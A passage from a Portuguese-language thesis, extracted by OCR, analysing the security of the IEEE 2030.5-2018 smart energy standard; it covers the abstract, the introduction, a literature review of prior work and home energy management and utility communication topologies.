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Resumo

As rapidas evolugao e disseminagao da Internet das Coisas (IoT) e das fontes de energia
elétrica distribuidas — Distributed Energy Resources (DER) — est@o trazendo ao mercado
diversos dispositivos elétricos inteligentes, tanto no ambito residencial quanto industrial,
principalmente medidores e inversores.

Como resultado, surge também a necessidade de uma padronizagao a fim de promover
interoperabilidade, seguranga e comunicagao eficiente entre os diferentes tipos e fabrican-
tes de dispositivos. Nesse contexto, surge o padrao IEEE 2030.5-2018 que visa atender a
essas demandas bem como & crescente demanda das concessionarias de energia elétrica e
dos consumidores em gerenciarem a produgao e o consumo de eletricidade de forma mais
eficiente.

O padrao IEEE 2030.5-2018 define uma camada de aplicacao no topo de uma pilha
TCP/IP para permitir o gerenciamento do ambiente elétrico do usuério. Além disso,
ele também define os mecanismos a serem utilizados para a troca de mensagens e os
recursos de seguranca para proteger tais mensagens. Dentre os recursos de seguranca,
destaca-se uma infraestrutura de chave publica propria cujos certificados digitais possuem
a caracteristica especifica de nao expiracao e nao revogacao.

Sendo a seguranga um requisito fundamental para o gerenciamento dos dispositivos
e para o trafego de dados sensiveis, este trabalho tem por finalidade realizar uma ana-
lise deste aspecto do padrao IEEE 2030.5-2018, onde destacamos potenciais lacunas de
seguranca — em especial, a decorrente da falta de suporte para a revogacao e expiragao
dos certificados digitais provenientes da infraestrutura de chave publica propria. Também
é realizada uma prova de conceito onde sao demonstrados na pratica possiveis ataques
explorando tal lacuna de seguranca.

Além disso, este trabalho também descreve o padrao fornecendo uma visao geral
apresentando aspectos relacionados a arquitetura, topologia e a forma de comunicagao
entre os dispositivos.

Palavras-chave: Distributed Energy Resources; IEEE 2030.5; interoperabilidade; Inter-
net das coisas; loT'; seguranga.



Abstract

The fast evolution and dissemination of the Internet of Things (IoT) and of Distributed
Energy Resources (DER) are bringing to the market several smart electrical devices, both
in the residential and industrial spheres, mainly meters and inverters.

As a result, there is also a need for standardization in order to promote interopera-
bility, security and efficient communication between different types and manufacturers of
devices. In this context, the IEEE 2030.5-2018 standard emerges, which aims to meet
these demands as well as the growing demand from electricity utilities and consumers to
manage electricity production and consumption more efficiently.

The IEEE 2030.5-2018 standard defines an application layer on top of a TCP/IP stack
to allow management of the user’s electrical environment. In addition, it also defines the
mechanisms to be used for the exchange of messages and the security features to protect
such messages. Among the security features, the standard’s public key infrastructure
stands out by working with certificates that do not expire and cannot be revoked.

Since security is a fundamental requirement for the management of devices and for
the traffic of sensitive data, this work aims to perform an analysis of this aspect of the
IEEE 2030.5-2018, highlighting potential security gaps — in particular, due to the lack
of support for the revocation and expiration of digital certificates from the public key
infrastructure itself. A proof of concept is also carried out where possible attacks are
demonstrated in practice exploiting such a security gap.

In addition, this work also describes the standard providing an overview presenting
aspects related to architecture, topology and how devices communicate.

Keywords: Distributed Energy Resources; IEEE 2030.5; interoperability; Internet of
Things; [oT; security.
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Capitulo 1

Introducao

1.1 Contextualizacao

O uso de fontes renovéaveis de energia nas residéncias, principalmente a solar, vem alte-
rando a forma de producao e distribuicao da energia elétrica e aumentando significativa-
mente a chamada Distributed Energy Resource (DER) [1]. Com o uso de fontes renovaveis
de energia, as residéncias passam a gerar energia, disponibilizando o excedente para a rede
elétrica, ao invés de apenas consumi-la. Nesse cenario, o fluxo de energia elétrica nao é
mais unidirecional (da rede elétrica da concessionaria para a residéncia). Em vez disso,
torna-se multidirecional: da rede da concessionaria para a residéncia, da residéncia para
a rede da concessionaria, ou até mesmo de residéncia para residéncia. Como um exemplo
pratico desse conceito, o estado da Califérnia atualmente lidera nos Estados Unidos a
produgao de energia distribuida com 1.201.064 projetos solares capazes de produzir um
total de 9.106 Megawatts (MW)! [11].

A estrutura atual do sistema elétrico é projetada para fluxo de energia unidirecio-
nal [1, 56]. Os fluxos de energia multidirecionais requerem uma interconexao de dados
entre a rede da concessionéria e a DER. Essa interconexao deve ser segura, eficiente e
deve permitir um fluxo bidirecional de informacao de forma a possibilitar o controle e
o gerenciamento do fluxo de energia em um determinado momento para evitar falhas e

sobrecargas.

Entre os vérios programas de interconexao para geracao distribuida de eletricidade
na California estd o California’s Rule 21 [9]. Ele estabelece um conjunto de requisitos

de interconexao, operacao e medicao para fontes geradoras distribuidas se conectarem

1Dados de 30-11-2020.
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a rede elétrica [3]. Esta interconexdo requer o uso de inversores — dispositivos que
convertem corrente continua (Direct Current (DC)) em corrente alternada (Alternating
Current (AC)). Além de realizar a conversao DC para AC, alguns inversores também
podem oferecer funcionalidades adicionais e avangadas. Esses inversores sao chamados de
inversores inteligentes (smart inverters). Essas funcionalidades, acessadas via interface de
comunicagao, permitem o gerenciamento preciso da producao, consumo e disponibilidade
do excedente de energia. Elas permitem que as DERs modifiquem seus parametros e se

adaptem de acordo com as condi¢oes observadas localmente [12].

Visando o desenvolvimento das funcionalidades avancadas nos inversores, foi criado o
Smart Inverter Working Group (SIWG) — uma colaboragao entre a Comissao de Energia
da Califérnia e a Comissao de Servigos Publicos da Califérnia. O SIWG identificou o
desenvolvimento das funcionalidades avangadas como uma importante estratégia para
mitigar o impacto da alta penetragdo das DERs [10]. O plano de desenvolvimento das

funcionalidades foi dividido em treés fases [10]:

e Fase 1 — Funcgoes Autdonomas: definir as fungoes que o inversor conectado a

DER deveria executar.

e Fase 2 — Protocolos de Comunicagao: definir o protocolo de comunicagao a ser

utilizado entre as concessionarias e as DERs.

e Fase 3 — Funcionalidades Avangadas: considerar funcionalidades avangadas a

serem implementadas nos inversores.

O California’s Rule 21 definiu que a comunicagao entre as concessionarias e as DERs
deve utilizar o padrao IEEE 2030.5. O padrao pode ser utilizado para prover a comuni-
cagao de uma ampla gama de dispositivos e servigos tais como termostatos inteligentes,
programas de resposta & demanda, medidores inteligentes, carregamento de veiculos elé-
tricos e inversores inteligentes. O particular uso do padrao pelo California’s Rule 21
foi consolidado no Common Smart Inverter Profile (CSIP) IEEE 2030.5 Implementation

Guide for Smart Inverters [15].

O IEEE 2030.5 faz parte do IEEE 2030 que é um guia que fornece abordagens alter-
nativas e melhores praticas para alcancar a interoperabilidade em redes inteligentes do
sistema de energia elétrica [27]. Ele apresenta um modelo de referéncia de interoperabili-
dade de redes inteligentes cujo objetivo é fornecer as partes interessadas um entendimento
comum dos critérios de interoperabilidade do ponto de vista do sistema elétrico, da tec-

nologia de comunicagao e da tecnologia da informagao [27]. Alguns exemplos das séries
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IEEE 2030 — Guia para interoperabilidade em redes inteligentes

IEEE 2030.1.1 — Especificaco técnica de um padrio para
um carregador rapido DC para uso em veiculos elétricos

‘ IEEE P2030.2 — Guia para sistemas de armazenamento de
‘ energia integrados a infraestrutura de energia elétrica

IEEE P2030.3 — Padrdo para procedimentos de teste de
equipamentos de armazenamento de energia elétrica

IEEE P2030.4 — Guia de instala¢des de controle e automagéo
aplicadas a infraestrutura de energia elétrica

IEEE 2030.5 — Padrdo para protocolo de aplicagdo Smart
Energy Profile 2.0

Figura 1.1: Exemplo de projetos no contexto do IEEE 2030.

de projetos do IEEE 2030 para interoperabilidade de redes inteligentes podem ser vistos
na Figura 1.1.

O padrao IEEE 2030.5 é uma evolucao do ZigBee Smart Energy Profile 1.z (SEP 1)
conforme mostrado na Figura 1.2. O Smart Energy Profile (SEP) foi inicialmente desen-
volvido pela ZigBee Alliance em 2007 para prover interoperabilidade entre os dispositivos
ZigBee presentes em uma rede inteligente residencial — frequentemente chamada de Home
Area Network (HAN). Desde entdo, passou por varias revisoes e atualizagdes. No entanto,

o SEP 1 esta limitado ao uso da tecnologia e da pilha de protocolos ZigBee (incluindo

o IEEE 802.15.4). Em 2008, iniciou-se o desenvolvimento do Smart Energy Profile 2.0

<
* Iniciado o ZigBee Smart Energy Profile 1.0

* Publicado o ZigBee Smart Energy 1.0
W0l ° [niciado o Smart Energy Profile 2.0

* Publicado o Smart Energy Profile 2.0
* Publicado o IEEE 2030.5-2013

* California's Rule 21 seleciona o IEEE 2030.5/SEP 2
como padrdo para comunica¢do das DER

* Publicado o IEEE 2030.5-2018 (revisdo do IEEE 2030.5-2013)

J

€€€ECL

Figura 1.2: Evolucao do padrao IEEE 2030.5.
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Modelo OSI TCP/IP SEP 1 IEEE 2030.5/SEP 2
Aplicacao
Apresentagio Aplicacao SEP1 IEEE 2030.5/SEP 2
Sessdo
Transporte Transporte TCP, UDP
ZigBee
Rede Internet 1Pv4, IPv6
Enlace
Rede 802.15.4 802.15.4, 802.11,
. etc.
Fisica

Figura 1.3: Comparagdo entre as pilhas de rede ISO/OSI, TCP/IP, SEP 1 e IEEE
2030.5/SEP 2 (adaptado de [63]).

(SEP 2) que, evoluindo do SEP 1, foi projetado para fazer uso de tecnologias de comuni-
cagdo amplamente difundidas que suportam o Internet Protocol (IP) tornando-se assim
agnostico a tecnologia de comunicacao subjacente, conforme visto na Figura 1.3. Em
2011, HomePlug Alliance, Wi-Fi Alliance, HomeGrid Forum e ZigBee Alliance formaram
o Consorcio para Interoperabilidade do Smart Energy Profile 2 (CSEP) com o objetivo
de criar testes de conformidade para promover a certificacao dos dispositivos que fazem
uso do SEP 2. Em 2013, o SEP 2 foi formalmente publicado pela ZigBee Alliance e Ho-
mePlug Powerline Alliance. No mesmo ano, o IEEE adotou o SEP 2 como o padrao IEEE
2030.5-2013, mantendo toda a especificacao original. Em 2016, o California’s Rule 21
definiu o IEEE 2030.5 (SEP 2) como o padrao a ser utilizado na comunicac¢ao das DERs.
Posteriormente, o IEEE comecou a trabalhar em uma revisao do IEEE 2030.5-2013 vi-
sando dar suporte total ao IEEE 1547 (padrao para interconectar recursos distribuidos
com sistemas de energia elétrica), além de eliminar erros e ambiguidades no IEEE 2030.5-
2013. A revis@o deu atencao especial as atividades do California’s Rule 21 [33]v e foi
publicada em 2018. Nesse ponto, o padrao foi formalmente adotado pelo IEEE como o
IEEE 2030.5-2018.

Mesmo com a adocao do IEEE 2030.5 pelo California’s Rule 21 e sua recente revisao,
as referéncias ao mesmo encontradas na literatura cientifica sao escassas e fornecem ape-
nas uma abordagem superficial do padrao, sem promover um estudo detalhado quanto a
seguranga, estrutura e arquitetura. Tais referéncias possuem como foco principal outros
topicos relacionados, como, por exemplo, os trabalhos [39, 23| que realizam uma imple-
mentacao do padrao para fins de avaliagao de desempenho da comunicacao. Por outro

lado, o impacto do padrao na sociedade moderna deve ser muito representativo, pois
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ele altera substancialmente a relagao entre clientes e concessionarias de fornecimento de

energia elétrica.

1.2 Objetivo

A adogao do IEEE 2030.5 no projeto de comunicagao das DERs na Califérnia confirma sua
notoriedade e relevancia frente & comunicacao das DERs e também na comunicacao dos
dispositivos da chamada Internet of Things (IoT) 3] presentes em uma HAN. No entanto,
h& uma lacuna de conhecimento que existe pela falta de um estudo cientifico que promova
uma analise de seguranca e aborde questoes relacionadas ao modo como os recursos de
seguranca sao concebidos e utilizados para prover a comunicagao e o gerenciamento dos

dispositivos.

O objetivo deste trabalho é justamente preencher essa lacuna de forma a promo-
ver um estudo amplo, detalhado e atualizado quanto a seguranca e a confiabilidade na
comunicagao do padrao IEEE 2030.5-2018. O estudo visa analisar os recursos de segu-
ranca utilizados pelo padrao e trazer a tona potenciais lacunas de seguranga advindas
principalmente pela falta de suporte para revogacao e expiragao de certificados digitais
provenientes da infraestrutura de chave publica propria do IEEE 2030.5. Uma prova de
conceito é realizada com o intuito de apresentar de forma préatica possiveis ataques rela-
cionados com a lacuna de seguranca. O trabalho também aborda de forma geral aspectos
arquiteturais, estruturais e de topologia do padrao a fim de fornecer uma visao geral do

mes1imo.

1.3 Organizacao

O resto do texto esté organizado da seguinte forma. O Capitulo 2 faz uma revisao da
literatura sobre os trabalhos relacionados ao padrao IEEE 2030.5. O Capitulo 3 apresenta
possiveis aplicagoes e topologias de comunicagao usadas para interconectar os dispositivos
das concessionérias e dos consumidores finais. O Capitulo 4 apresenta e descreve os
elementos que constituem o padrao. No Capitulo 5, sao discutidas as técnicas de seguranca
adotadas pelo padrao, com atengao especial aos aspectos de autenticagao, incluindo uma
descricao da propria infraestrutura de chave publica do IEEE 2030.5. Nele, também é
realizada uma demonstragao pratica da falha referente a lacuna de seguranca existente na

infraestrutura de chave piblica do IEEE 2030.5. Por fim, no Capitulo 6 sao apresentadas
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as consideracgoes finais.



Capitulo 2

Revisao da Literatura

Esse capitulo tem por finalidade fornecer uma visualizacao das tendéncias de estudo no
ambito do padrao IEEE 2030.5. Além disso, também permite identificar possiveis lacunas

e aspectos menos discutidos, o que possibilita o desenvolvimento de novas pesquisas.

Para isso, é necesséria uma pesquisa na literatura cientifica. Tal pesquisa busca seleci-
onar os trabalhos mais pertinentes sobre o padrao IEEE 2030.5 a fim de que eles fornecam
os subsidios e os dados necessarios. De posse dos trabalhos, e aplicando os devidos filtros,

é possivel extrair as informagoes que irao ajudar a consolidar o conhecimento desejado.

Para selecionar os trabalhos cientificos mais pertinentes, foram utilizadas as bases
de contetudos académicos da Scopus, IEEE Xplorer e Google Scholar. Em cada base, foi
realizada uma pesquisa fazendo uso da string de busca “IEEE 2030.5”. A escolha de tal
string se deve ao fato de que é a nomenclatura oficial utilizada pelo IEEE em relacao ao
padrao. Os resultados, com os respectivos quantitativos de trabalhos retornados por cada

base, sao apresentados na Tabela 2.1.

Pela leitura da tabela é perceptivel a discrepancia no quantitativo de trabalhos retor-
nados pela base do Google Scholar em relagao as outras duas bases pesquisadas. Visando
dar mais equidade quanto aos resultados retornados e procurando eliminar possiveis fa-

lhas quanto & pesquisa realizada, foram definidos filtros de selecao e exclusao a serem

Tabela 2.1: Numero de trabalhos retornados na pesquisa.

Base String Trabalhos

de busca de busca retornados
Scopus “IEEE 2030.5” 19
IEEE Xplorer “IEEE 2030.5” 12

Google Scholar “TEEE 2030.5” 198




2 Revisao da Literatura 8

IEEE Google
Scopus Xplorer Scholar
Quantidade de trabalhos €« - - - 19 -4 12 -=] 198 |-~
retornados pela string. I I I
Apés filtro por ano <« - - - 19 fF-- 12 --1 197 |--
(>=2013). I I I
Apos excluir patentes. €« — — - 19 -- 12 --| 187 [|--

Apés excluir duplicidades e l I I
trabalhos que apenas <« — - - 13 F-- 11 == 25 |--
mencionam/citam o IEEE 2030.5. I I I

Quantidade de trabalhos apés < — — - 13 fF-- 11 -- 25 |--

filtros. ‘ ‘ ‘

Figura 2.1: Aplicacao de filtros nos trabalhos envolvendo o padrao IEEE 2030.5.

aplicados nos trabalhos.

O primeiro filtro aplicado é referente ao ano de publicacao dos trabalhos. Tendo em
vista que o IEEE 2030.5 foi formalmente adotado com essa nomenclatura pelo IEEE em

2013, um filtro foi aplicado a fim de selecionar trabalhos produzidos a partir desse ano.

O segundo filtro aplicado refere-se as patentes. Uma vez que tais trabalhos nao tra-
tam especificamente do padrao em si, nem fazem uma abordagem mais detalhada ao se

referenciarem ao mesmo, esses foram excluidos.

Por fim, o terceiro filtro aplicado procura eliminar duplicidades no resultado retornado
por cada base e também eliminar trabalhos e apresenta¢oes que apenas mencionam /citam
o IEEE 2030.5. Nesse segundo caso, alguns trabalhos e apresentacoes que possuem temas
correlatos, ao mencionar/citar o IEEE 2030.5, sequer explicitam ou definem sua estrutura,
arquitetura ou funcionamento. Um exemplo sao trabalhos e apresentagoes sobre Smart
Grids que, ao tratar do topico de comunicagao, mencionam/citam o IEEE 2030.5 junta-
mente com os demais padroes/protocolos utilizados para tal fim, sem sequer apresentar ou

trazer minimamente qualquer informacgao sobre a estrutura e funcionamento do mesmo.

A variacao do quantitativo de trabalhos das bases, ap6s a aplicacao de cada um
dos filtros, ¢ apresentada na Figura 2.1. Devido ao grande nimero de duplicidades e
trabalhos/apresentagoes que apenas mencionam/citam o IEEE 2030.5, o quantitativo de
trabalhos retornado pela base do Google Scholar sofreu uma reducao considerével em

comparacao as demais bases, as quais sofreram pequenas variagoes.
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Tabela 2.2: Artigos selecionados

Titulo Ano | Tipo de Trabalho
IEEE Adoption of Smart Energy Profile 2.0
Application Protocol Standard (Draft) [29] 2013 Draft
IEEE Adoption of Smart Energy Profile 2.0 -
Application Protocol Standard [25] 2013 Padrao
Model-driven development of a standard-compliant 2015 Secundario
Customer Energy Manager [52]
Cyber security requirements and recommendations for CSI RD&D 2015 Securanca
solicitation# 4 distributed energy resource communications [27] & ¢
Standardization of Smart Grid 2015 Secundario
Customer Interfaces [7]
Advanced inverter functions and communication protocols L
e 2016 Secundario
for distribution management [15]
Exploring emerging cybersecurity risks s
from network-connected DER devices [61] 2017 Secundério
Cyber security primer for DER vendors, 92017 Seguranca
aggregators and grid operators [10]
IEEE Draft Stapdal."d for Smart Energy Profile 92017 Draft
Application Protocol [30]
Implementation of a smart grid communication .
system compliant with IEEE 2030.5 [23] 2018 Tmplementagao
Upper-mlddlewar.e developmgnt (?f sm.art energy Proﬁle 2.0 2018 Secundario
for demand-side communications in smart grid [13]
General Requirements for Designing and Implementing a Cryptography Module
for Distributed Energy Resource (DER) Systems [] 2018 Seguranga
IEEE Approved DrafF St.andard for Smart Energy Profile 2018 Draft
Application Protocol [31]
IEEE Standafrd f.or Smart Energy Profile 92018 Padrio
Application Protocol [33]
Apphcatlon Prospect of Edge Cqmputlng 2018 Secundério
in Power Demand Response Business [11]
Recommendations for trust and encryption
in DER interoperability standards [19] 2019 Seguranga
Cybersecurity Risk Assessment for California’s Smart Inverter Functions [65] | 2019 Seguranga
Communications, cybersecurity, and the internet of things for microgrids [53] | 2019 Secundario
Simulation and analysis of OpenADR agents using VOLTTRON platform [62] | 2019 Secundario
IPv6-Based Smart Grid Communication over 6LoOWPAN [67] 2019 Secundario
DER-TEE: Secure Distributed Energy Resource Operations L.
Through Trusted Execution Environments [60] 2019 Secundario
Evolution of Distributed Energy Resource Grid Interconnection Standards -
. . . 2019 Secundario
for Integrating Emerging Storage Technologies [35]
Cyber Attack and Defense for Smart Inverters in a Distribution System [60] 2019 Seguranca
Recommended .funfztlonahtlos for improving cybersecurity 92019 Secundario
of distributed energy resources [10]
PV Cybersecurity Final Report [35] 2019 Seguranga
Communication protocols for the IoT-based smart grid [24] 2019 Secundario
Considerations on Communication Infrastructures 92019 Secundario
for Cooperative Operation of Smart Inverters [17] :
Transactive Demand Response Operation at the Grid Edge -
using the IEEE 2030.5 Standard [21] 2020 Tmplementagao
Cyber-Physical Security and Resiliency Analysis Testbed
for Critical Microgrids with IEEE 2030.5 [59] 2020 Seguranga
_ Assessing DER ngtwork Cyberse§ur1ty Qefences 9020 Seguranca
in a power-communication co-simulation environment [37]
CReST-VCT System Integration Framework [51] 2020 Secundario
Distributed energy resource aggregation using customer-owned equipment: 9020 Secundario

A review of literature and standards [50]
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Figura 2.2: Evolugao da quantidade de trabalhos envolvendo o padrao IEEE 2030.5.

Com o resultado obtido apos a aplicacao dos filtros, uma comparacao entre os tra-
balhos resultantes das diferentes bases foi feita a fim de eliminar duplicidades entre as
mesmas. A consolidacao final dos trabalhos resultantes das trés bases é apresentada na
Tabela 2.2. Ela é ordenada de forma crescente de acordo com o ano de publicacao de cada
trabalho. Nela, também ¢é apresentada uma classificagao com relagao ao tipo de aborda-

gem feita por cada trabalho em relagao ao IEEE 2030.5. As classifica¢oes utilizadas sao:

e Draft — versao prévia nao ratificada do padrao;
e Padrao — versao final ratificada do padrao;

e Secundéario — o trabalho possui um tema correlato e trata, definindo minimamente

estrutura ou funcionamento, o IEEE 2030.5 de forma secundéria;

e Implementacao — o trabalho faz uma implementagao do ITEEE 2030.5 a titulo de

avaliacao de desempenho ou conforme necessidade do trabalho;

e Seguranca — o trabalho aborda aspectos de seguranca nao s6 do IEEE 2030.5 como

também de outros padrdes,/protocolos;

De posse das informagoes presentes na Tabela 2.2, é possivel verificar que desde 2013
houve um aumento na quantidade de trabalhos que abordam o IEEE 2030.5. A Figura 2.2
apresenta essa evolugao no quantitativo de trabalhos ao longo dos anos até o presente mo-

mento da pesquisal. Possivelmente, o fato do California’s Rule 21 ter adotado, em 2016,

IDados de 04-11-2020
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Implementacao

Secundério
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Figura 2.3: Tipo de trabalho abordando o IEEE 2030.5

o padrao, bem como a crescente necessidade de controle sobre os dispositivos inteligentes

nas smart grids e nas HANs, ajudou no aumento da producao de trabalhos cientificos.

No entanto, conforme demonstrado na Figura 2.3, nota-se que a maioria dos trabalhos
abordam o padrao de forma secundéria. Nao foram encontrados trabalhos na literatura
cientifica que abordem o IEEE 2030.5 na integra, fazendo uma completa revisao quanto a
sua estrutura, desenvolvimento, arquitetura de implementacao, seguranga na comunicagao

e confiabilidade dos entes envolvidos.

Os trabalhos [29, 30, 31] s@o classificados como “drafts”, ou seja, sdo versdes prévias
nao ratificadas do padrao. Sao minutas de proposta da versao final. Ja os trabalhos [28, 33|
sao as versoes finais ratificadas do padrao publicadas nos anos de 2013 e 2018, respecti-

vamente.

Os trabalhos classificados como “Seguranga’, em sua maioria, realizam estudos, anali-
ses e avaliagoes de seguranca nos protocolos/padrdes utilizados na comunicagao das DERs.
Eles descrevem possiveis riscos, vulnerabilidades e também apresentam alternativas para
aprimorar a seguranga na comunicagao de modo geral. O trabalho [25] descreve o ambiente
DER elencando diversas ameagas de forma geral, trazendo recomendagoes de seguranca
da mesma forma, com foco em um modulo especifico de conversao de outros protocolos
para o protocolo Modbus. O trabalho [10] traz um resumo simplificado dos recursos de se-
guranga utilizado por cada protocolo especifico do ambiente DER em comparacao com os
requisitos necesséarios para tal ambiente. O trabalho [1] busca prover a base para futuros

projetos e implementagoes de um modulo criptografico dedicado a promover seguranca
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na comunicacao de sistemas DERs. No entanto, possui uma abordagem bem superficial
focando apenas na localizacao de implementacao do médulo levando-se em conta apenas
alguns requisitos do sistema. O trabalho [19] aborda recomendagoes de forma geral para
prover seguranca na comunicacao das DERs e também enumera algumas medidas alter-
nativas que podem ser usadas, tal como o uso de moédulos de seguranca e blockchain, sem
aprofundar em detalhes. O trabalho [65] faz um resumo das funcionalidades dos inver-
sores inteligentes no programa California’s Rule 21 e modela as ameacas de seguranca
usando o modelo STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure,
Denial of Service, and Elevation of Privilege). O trabalho [60] desenvolve um Intrusion
Detection System (IDS) baseado em assinaturas para detec¢ao de atividades maliciosas.
O trabalho [38] apresenta um panorama geral comparativo da seguranga dos protocolos
no ambiente DER com recomendagoes de seguranca. Por fim, o trabalho [59| propoe
um ambiente de teste e simulagao para estudo e anélise da resiliéncia da comunicacao
enquanto [37] faz uma analise do impacto na qualidade do servigo (QoS) proveniente da
segmentacao da rede e do uso de criptografia na comunicagao das DERs baseado em um

ambiente virtualizado de desenvolvimento proprio chamado SCEPTRE.

O trabalho [23] implementa o padrao visando promover uma avaliagao de desempenho
da comunicagao, enquanto [21] implementa o padrao para dar suporte a uma proposta de
esquema de resposta a demanda para uma HAN. Ambos sao trabalhos classificados como

“Implementacgao”.

Os demais trabalhos, que sao classificados como “Secundarios”, nao possuem como
foco principal o IEEE 2030.5. Eles apenas o utilizam secundariamente para dar suporte
ao tema principal abordado. Por exemplo, o trabalho [52] descreve um modelo de geren-
ciamento de energia do cliente com suporte ao IEEE 2030.5. O trabalho [13] realiza a
implementagao de um muddleware com suporte ao IEEE 2030.5 a fim de sobrepor restri-
¢oes proprias dos dispositivos [0T, tais como restrigoes de hardware. Ja o [67] realiza a
implementagao do IPv6 sobre o 6LoWPAN para conectar dispositivos em conformidade
com o IEEE 2030.5.

Trabalhos tais como [17, 50] chegam a abordar o tema de revisdo de padroes de
comunicagao. O primeiro elenca os pontos mais relevantes dos principais padroes de
comunicagao que sao aplicados em smart inverters, realizando um breve comparativo
e uma breve discussao sobre as vantagens e desvantagens de cada um. Ja o segundo
tem como foco uma revisao da literatura das solugoes que as concessionarias usam para

controlar os problemas causados pela ado¢ao em larga escala das DERs. Ele também da
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enfoque na revisao dos padroes de comunicacao usados para gerenciar tais solugoes. O
trabalho faz uma descrigao sucinta de cada padrao elencando alguns detalhes em especifico
de cada um. No entanto, a abordagem de revisao feita por ambos os trabalhos é genérica
e nao possui o IEEE 2030.5 como foco em especifico. Além disso, o padrao é apenas um
dentre os demais padroes analisados. A revisao nao aborda todos os pontos que compoem

a estrutura, arquitetura e seguranca do IEEE 2030.5.

Sendo assim, torna-se perceptivel a auséncia de um trabalho completo, principalmente
no meio académico, que revise todos os pontos arquiteturais, estruturais e de seguranca
do IEEE 2030.5-2018. Tal auséncia amplia ainda mais a importancia deste trabalho, que
busca preencher tal lacuna além de trazer a tona, para discussao, as possiveis questoes

em aberto em relagao a seguranca.



Capitulo 3

Aplicacao e Topologia Lobgica do
IEEE 2030.5-2018

O IEEE 2030.5-2018, além de possibilitar a interoperabilidade de diversos dispositivos
inteligentes, também permite expandir a geréncia do ambiente de energia dos usuérios
finais de tal forma que as concessionarias possam exercer tal geréncia. Isso inclui ge-
renciamento de geracao de energia distribuida, suporte a veiculos elétricos e controle de
carga e resposta & demanda. Para isso, os usuarios finais usam nas residéncias dispositi-
vos inteligentes que possuem uma interface de comunicacao que permite o gerenciamento

remoto.

Embora a aplicagao ao setor de energia seja frequentemente citada, o padrao também
pode ser empregado em outros nichos (e.g., dgua, vapor e gas natural). O monitoramento
e o controle centralizado dos diversos dispositivos inteligentes, dos mais variados nichos
presentes em uma HAN, pode ser feito utilizando um Home Energy Management System
(HEMS). O HEMS possibilita uma visao geral de todos os dispositivos inteligentes do
ambiente residencial. Com isso, é possivel obter um maior controle e otimizar o consumo

tanto da energia elétrica quanto das demais commodities dos outros nichos.

Basicamente, um HEMS pode ser tanto uma solucao de software quanto uma solu-
¢ao integrada de hardware e software. Sendo assim, pode ser um equipamento dedicado
exclusivamente para esse fim ou pode ser implementado em outros dispositivos (e.g., em
medidores elétricos inteligentes). Ele pode agir ativamente enviando comandos aos dispo-
sitivos inteligentes para que os mesmos alterem seus parametros conforme a necessidade,
ou pode agir passivamente apenas colhendo informacoes dos dispositivos inteligentes para
serem exibidas em um monitor de informagoes. Por exemplo, agindo passivamente, o

HEMS pode monitorar um aparelho de ar-condicionado, lampadas e méquina de lavar
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Figura 3.1: Topologia de comunicagao entre HEMS e dispositivos usando IEEE 2030.5.

apresentando em um monitor de informagoes (e.g., aplicativo ou tela) a quantidade de
energia consumida por cada equipamento, horario de maior consumo, entre outras infor-
magoes relevantes. Agindo ativamente, o HEMS pode desabilitar a recarga de um veiculo
elétrico caso nao seja detectada, pelo monitoramento do inversor inteligente, a producao

de energia solar.

O padrao IEEE 2030.5-2018 pode ser usado tanto em uma HAN nao integrada aos
servidores da concessionaria como em uma integrada. A Figura 3.1 apresenta uma HAN
controlada por um HEMS. Nela, é possivel notar os mais diversos dispositivos inteligentes
inclusive uma DER representada pelo painel solar juntamente com o inversor inteligente
(o veiculo elétrico quando utilizado como uma fonte produtora de energia também pode
ser considerado uma DER). O HEMS se comunica com os dispositivos inteligentes via
IEEE 2030.5-2018. Nessa topologia, em especifico, todo o controle e monitoramento
dos dispositivos inteligentes ficam restritos ao ambiente residencial, nao sendo possivel o
controle pela concessionaria, uma vez que a HAN nao esté integrada aos servidores da

concessionaria.

No entanto, os exemplos de aplicagoes mais recentes concentram-se na comunicacao
que extrapola o ambiente residencial, mais especificamente a comunicagao envolvendo
servidores da concessionaria de energia elétrica. Nesse caso, o HEMS pode funcionar como
um gateway da HAN de forma a promover a integracao da mesma com os servidores da
concessionaria conforme apresentado na Figura 3.2. Nela, o HEMS é apresentado em um

hardware dedicado. No entanto, ele poderia ser implementado em um medidor elétrico
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Figura 3.2: Topologia de comunicagao entre HEMS e dispositivos usando IEEE 2030.5.

inteligente e este, por sua vez, também poderia agir como o gateway da HAN.

Tanto a comunicagao do HEMS com os dispositivos inteligentes da HAN, quanto a
comunicagao do HEMS com os servidores da concessionaria sao realizadas utilizando o
IEEE 2030.5-2018. Com isso, uma vez integrada aos servidores da concessionaria, a HAN
pode trocar informacoes e receber comandos da concessionaria. Um exemplo pratico é
a possibilidade da concessionaria informar o preco da energia elétrica em determinado
momento para que o consumidor final tenha ciéncia do valor que esta sendo gasto. Outro
exemplo é a concessionéria ter a capacidade de desativar a recarga de um veiculo elétrico
em caso de sobrecarga de consumo na regiao. Ela também pode direcionar o excedente
de energia produzido pelos painéis solares de uma residéncia para a rede de distribuicao,
a fim de compensar parte da demanda em outra HAN /regiao. Em troca, o proprietario

dos painéis solares poderia receber créditos em sua fatura mensal.

Essa interacao entre concessionaria e HAN propicia uma grande otimizac¢ao no con-
sumo de energia. Ela possibilita que as concessionarias antevejam regioes de grande
demanda de consumo de energia, permitindo que as mesmas reajam de forma a suprir tal

demanda evitando que falhas e sobrecargas possam comprometer a rede como um todo.

Nada impede também que os dispositivos inteligentes se integrem aos servidores da
concessionaria sem fazer o uso de um HEMS. Um exemplo é uma residéncia que tenha
apenas painéis solares e um inversor inteligente. O inversor inteligente pode ser monito-

rado e controlado por meio da interface de comunicacao fazendo uso de um aplicativo de
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Figura 3.3: Comunicacao entre concessionéria e dispositivos usando IEEE 2030.5.

smartphone provido pela fabricante do inversor, por exemplo. Por meio da mesma inter-
face de comunicacao do inversor inteligente também é possivel promover a comunicagao
direta dele com a concessionéaria para que ambos troquem informagoes e seja possivel o

envio de comandos da concessionaria ao inversor.

Portanto, diversas sao as possibilidades de topologia envolvendo a interagao entre a
concessionaria e os dispositivos inteligentes presentes na HAN. A Figura 3.3 apresenta uma

topologia mais genérica dessa interacao envolvendo o IEEE 2030.5-2018 na comunicagao.

Ja em se tratando de DERs, especificamente no ambito do Californa’s Rule 21, o
CSIP prevé dois tipos de topologias para a comunicacao entre a concessionaria e as DERs:

comunicagao direta e comunicacao via agregador.

A comunicacao direta é usada quando a concessionaria precisa interagir diretamente
com a DER para controlar as operagoes do sistema [15]. Para isso, pode-se fazer uso de
um Smart Inverter Control Unit (SMCU)! ou Generating Facility Energy Management
System (GFEMS)®.

No primeiro caso, a concessionéaria exerce a geréncia e o controle sobre uma tnica
